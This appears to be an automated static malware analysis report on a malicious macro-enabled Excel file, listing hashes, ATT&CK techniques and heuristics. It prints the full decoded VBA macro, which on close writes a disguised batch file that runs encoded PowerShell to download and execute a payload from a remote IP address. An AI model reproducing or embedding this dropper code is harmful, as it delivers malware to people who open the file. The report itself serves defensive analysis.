Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 58466387a3595e1f…

MALICIOUS

Office (OOXML)

102.7 KB Created: 2021-08-19 14:03:52 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-12
MD5: bcd7c27e48c8b921f4ba83b99c44f846 SHA-1: 51488d9dbd4b6526b324ca8fd960eac60b6f934d SHA-256: 58466387a3595e1f557e8db37b9ec45443fd15614c968f191a45436f593a808f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a macro-enabled Excel file containing VBA code that utilizes the Shell() function to execute a batch file. This batch file, in turn, invokes PowerShell to download and execute a second-stage payload from the URL 'http://18.195.13.226/DI/TF L_8451020003.exe'. The PowerShell command is heavily encoded, indicating an attempt to obfuscate the malicious activity.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1944 bytes
SHA-256: 824576a9e7e60bd69e4b2a1b6c108b0d75300b8e9a23251c99fb950a22315617
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
YouTube
End Sub

Private Sub YouTube()
On Error Resume Next
Dim i As Double
Dim sBatchFile As String
ActiveWorkbook.Save
sBatchFile = "Tpbgsmutskgnijxikxoa.bat"
Open sBatchFile For Output As #1
    Print #1, "@ECHO OFF"
    Print #1, "ECHO Converting Excel Files to PDF, Please wait..."
    Print #1, "start /MIN C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBNAGgAZABsAHcAdABlAHgAagBrAHQALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAxADgALgAxADkANQAuADEAMwAzAC4AMgAyADYALwBEAGkARAAvAEUALwBUAEYATABfADgANAA1ADEAMAAyADAAMAAwADAAMwA2AC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA=="
    Close #1
    i = Shell(sBatchFile, vbHide)
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6144 bytes
SHA-256: d8ad38c32cec47a9cb29fcff2bf771e89501d152f8bcab464ce2ff17b7ea8a41